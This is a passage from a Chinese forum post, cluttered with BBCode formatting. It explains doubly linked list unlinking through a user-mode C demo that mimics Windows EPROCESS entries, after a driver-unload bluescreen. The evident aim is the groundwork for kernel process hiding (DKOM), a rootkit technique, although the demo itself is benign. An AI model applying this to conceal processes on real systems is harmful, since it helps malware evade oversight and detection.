在驱动卸载的时候调用这个函数,编译放在虚拟机中运行,靠,好大一块蓝玻璃?难道是双向链表的操作错了?懂的跳过!
(可笑之处上)
这里我再啰嗦下双向链表的操作!为此我有写了一个模拟EPROCESS的Demo
[COLOR=#0000ff][FONT=Times][FONT=宋体][SIZE=2][COLOR=#000000][COLOR=#0000ff][FONT=Times]#include [/FONT][/COLOR][COLOR=#808000][FONT=Times]<[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Windows[/FONT][/COLOR][COLOR=#808000][FONT=Times].h>[/FONT][/COLOR][/COLOR][/SIZE]
[COLOR=#000000][SIZE=2][COLOR=#0000ff][FONT=Times]#include [/FONT][/COLOR][COLOR=#808000][FONT=Times]<stdio.h>[/FONT][/COLOR][/SIZE]
 
[SIZE=2][COLOR=#008000][FONT=Times]//[FONT=宋体]双向链表[/FONT][/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#808000][FONT=Times]struct [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]LINKENTRY[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#808000][FONT=Times]{[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#0000ff][FONT=Times]LINKENTRY[/FONT][/COLOR][COLOR=#808000][FONT=Times]*[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pNext[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]指向前一个[/FONT][/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#0000ff][FONT=Times]LINKENTRY[/FONT][/COLOR][COLOR=#808000][FONT=Times]*[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pPrev[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]指向后一个[/FONT][/FONT][/COLOR][/SIZE]
 
[SIZE=2][COLOR=#808000][FONT=Times]};[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#008000][FONT=Times]//.......[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#808000][FONT=Times]struct [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]LINKTABLE[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#808000][FONT=Times]{[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]dwNum1[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]模拟结构体EPROCESS上面的内容[/FONT][/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#0000ff][FONT=Times]LINKENTRY[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkEntry[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][COLOR=#008000][FONT=Times]//PLINKENTRY[FONT=宋体]结构体指针[/FONT][/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]dwNum2[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]模拟结构体EPROCESS下面的内容[/FONT][/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#808000][FONT=Times]};[/FONT][/COLOR][/SIZE]
 
[SIZE=2][COLOR=#008000][FONT=Times]//[FONT=宋体]主函数[/FONT][/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#808000][FONT=Times]void main()[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#808000][FONT=Times]{[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#008000][FONT=Times]//////////////////////////////////////////////////////////////////////////[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#008000][FONT=Times]//[FONT=宋体]新建一个链表[/FONT][/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#008000][FONT=Times]//////////////////////////////////////////////////////////////////////////[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#0000ff][FONT=Times]LINKTABLE[/FONT][/COLOR][COLOR=#808000][FONT=Times]*[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]3[/FONT][/COLOR][COLOR=#808000][FONT=Times]];[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#ff8000][FONT=Times]printf[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "%d\n", sizeof( [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times] ) );[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#ff8000][FONT=Times]printf[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "%d \n", sizeof( [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]LINKTABLE[/FONT][/COLOR][COLOR=#808000][FONT=Times] ) );[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#0000ff][FONT=Times]LINKTABLE[/FONT][/COLOR][COLOR=#808000][FONT=Times]*[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTemp[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#808000][FONT=Times]for ( int [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]i[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times]; [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]i[/FONT][/COLOR][COLOR=#808000][FONT=Times] < [/FONT][/COLOR][COLOR=#808080][FONT=Times]3[/FONT][/COLOR][COLOR=#808000][FONT=Times]; [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]i[/FONT][/COLOR][COLOR=#808000][FONT=Times]++ )[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]i[/FONT][/COLOR][COLOR=#808000][FONT=Times]] = [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]new[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]LINKTABLE[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times]]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]dwNum1[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times]]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]dwNum2[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times]]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkEntry[/FONT][/COLOR][COLOR=#808000][FONT=Times].[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pPrev[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]NULL[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times]]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkEntry[/FONT][/COLOR][COLOR=#808000][FONT=Times].[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pNext[/FONT][/COLOR][COLOR=#808000][FONT=Times] = ( [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]LINKENTRY[/FONT][/COLOR][COLOR=#808000][FONT=Times]* )&[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times]]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkEntry[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times]]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]dwNum1[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times]]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]dwNum2[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times]]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkEntry[/FONT][/COLOR][COLOR=#808000][FONT=Times].[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pPrev[/FONT][/COLOR][COLOR=#808000][FONT=Times] = ( [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]LINKENTRY[/FONT][/COLOR][COLOR=#808000][FONT=Times]* )&[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times]]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkEntry[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times]]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkEntry[/FONT][/COLOR][COLOR=#808000][FONT=Times].[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pNext[/FONT][/COLOR][COLOR=#808000][FONT=Times] = ( [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]LINKENTRY[/FONT][/COLOR][COLOR=#808000][FONT=Times]* )&[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]2[/FONT][/COLOR][COLOR=#808000][FONT=Times]]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkEntry[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]2[/FONT][/COLOR][COLOR=#808000][FONT=Times]]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]dwNum1[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#808080][FONT=Times]2[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]2[/FONT][/COLOR][COLOR=#808000][FONT=Times]]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]dwNum2[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#808080][FONT=Times]2[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]2[/FONT][/COLOR][COLOR=#808000][FONT=Times]]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkEntry[/FONT][/COLOR][COLOR=#808000][FONT=Times].[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pPrev[/FONT][/COLOR][COLOR=#808000][FONT=Times] = ( [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]LINKENTRY[/FONT][/COLOR][COLOR=#808000][FONT=Times]* )&[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times]]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkEntry[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]2[/FONT][/COLOR][COLOR=#808000][FONT=Times]]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkEntry[/FONT][/COLOR][COLOR=#808000][FONT=Times].[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pNext[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]NULL[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#00ffff][FONT=Times]pLinkTemp[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times]];[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#ff8000][FONT=Times]printf[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "\n******************************************************\n" );[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#808000][FONT=Times]for ( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]i[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times]; [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]i[/FONT][/COLOR][COLOR=#808000][FONT=Times] < [/FONT][/COLOR][COLOR=#808080][FONT=Times]3[/FONT][/COLOR][COLOR=#808000][FONT=Times]; [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]i[/FONT][/COLOR][COLOR=#808000][FONT=Times]++ )[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#808000][FONT=Times]{[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#ff8000][FONT=Times]printf[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "Num[%d]1 = %d \n", [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]i[/FONT][/COLOR][COLOR=#808000][FONT=Times], (int)( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTemp[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]dwNum1[/FONT][/COLOR][COLOR=#808000][FONT=Times] ) );[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#ff8000][FONT=Times]printf[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "Num[%d]2 = %d \n", [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]i[/FONT][/COLOR][COLOR=#808000][FONT=Times], (int)( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTemp[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]dwNum2[/FONT][/COLOR][COLOR=#808000][FONT=Times] ) );[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#00ffff][FONT=Times]pLinkTemp[/FONT][/COLOR][COLOR=#808000][FONT=Times] = ( [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]LINKTABLE[/FONT][/COLOR][COLOR=#808000][FONT=Times]* )(([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times])( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTemp[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkEntry[/FONT][/COLOR][COLOR=#808000][FONT=Times].[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pNext[/FONT][/COLOR][COLOR=#808000][FONT=Times]) - [/FONT][/COLOR][COLOR=#808080][FONT=Times]4[/FONT][/COLOR][COLOR=#808000][FONT=Times]);[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#ff8000][FONT=Times]printf[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "pLinkTable[1] = %08x\n", [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times]] );[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#ff8000][FONT=Times]printf[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "pLinkTemp = %08x\n", [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTemp[/FONT][/COLOR][COLOR=#808000][FONT=Times]);[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#808000][FONT=Times]}[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#ff8000][FONT=Times]printf[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "******************************************************\n\n" );[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#008000][FONT=Times]//////////////////////////////////////////////////////////////////////////[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#008000][FONT=Times]//[FONT=宋体]移除第二项[/FONT][/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#008000][FONT=Times]//////////////////////////////////////////////////////////////////////////[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#00ffff][FONT=Times]pLinkTemp[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times]];[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#0000ff][FONT=Times]LINKENTRY[/FONT][/COLOR][COLOR=#808000][FONT=Times]* [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pListCurrent[/FONT][/COLOR][COLOR=#808000][FONT=Times]; [/FONT][/COLOR][COLOR=#008000][FONT=Times]//= new LINKENTRY;[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#00ffff][FONT=Times]pListCurrent[/FONT][/COLOR][COLOR=#808000][FONT=Times] = ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]LINKENTRY[/FONT][/COLOR][COLOR=#808000][FONT=Times]*)&[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times]]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkEntry[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#808000][FONT=Times]*(([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times]*)[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pListCurrent[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pPrev[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#808000][FONT=Times]   = ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pListCurrent[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pNext[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#808000][FONT=Times]*(([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times]*)[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pListCurrent[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pNext[/FONT][/COLOR][COLOR=#808000][FONT=Times] + [/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times]) = ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pListCurrent[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pPrev[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#ff8000][FONT=Times]printf[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "\n******************************************************\n" );[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#808000][FONT=Times]for ( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]i[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times]; [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]i[/FONT][/COLOR][COLOR=#808000][FONT=Times] < [/FONT][/COLOR][COLOR=#808080][FONT=Times]2[/FONT][/COLOR][COLOR=#808000][FONT=Times]; [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]i[/FONT][/COLOR][COLOR=#808000][FONT=Times]++ )[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#808000][FONT=Times]{[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#ff8000][FONT=Times]printf[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "Num[%d]1 = %d \n", [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]i[/FONT][/COLOR][COLOR=#808000][FONT=Times], (int)( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTemp[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]dwNum1[/FONT][/COLOR][COLOR=#808000][FONT=Times] ) );[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#ff8000][FONT=Times]printf[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "Num[%d]2 = %d \n", [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]i[/FONT][/COLOR][COLOR=#808000][FONT=Times], (int)( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTemp[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]dwNum2[/FONT][/COLOR][COLOR=#808000][FONT=Times] ) );[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#00ffff][FONT=Times]pLinkTemp[/FONT][/COLOR][COLOR=#808000][FONT=Times] = ( [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]LINKTABLE[/FONT][/COLOR][COLOR=#808000][FONT=Times]* )(([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times])( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTemp[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkEntry[/FONT][/COLOR][COLOR=#808000][FONT=Times].[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pNext[/FONT][/COLOR][COLOR=#808000][FONT=Times]) - [/FONT][/COLOR][COLOR=#808080][FONT=Times]4[/FONT][/COLOR][COLOR=#808000][FONT=Times]);[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#ff8000][FONT=Times]printf[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "pLinkTable[1] = %08x\n", [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times]] );[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#ff8000][FONT=Times]printf[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "pLinkTemp = %08x\n", [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTemp[/FONT][/COLOR][COLOR=#808000][FONT=Times]);[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#808000][FONT=Times]}[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#ff8000][FONT=Times]printf[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "\n******************************************************\n" );[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#008000][FONT=Times]//////////////////////////////////////////////////////////////////////////[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#008000][FONT=Times]//[FONT=宋体]把原来项插入到链表中去[/FONT][/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#008000][FONT=Times]//////////////////////////////////////////////////////////////////////////[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#00ffff][FONT=Times]pLinkTemp[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times]];[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#0000ff][FONT=Times]LINKENTRY[/FONT][/COLOR][COLOR=#808000][FONT=Times]* [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pListOrg[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pListCurrent[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#00ffff][FONT=Times]pListCurrent[/FONT][/COLOR][COLOR=#808000][FONT=Times] = ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]LINKENTRY[/FONT][/COLOR][COLOR=#808000][FONT=Times]*)&[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times] [[/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times]]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkEntry[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][/SIZE]
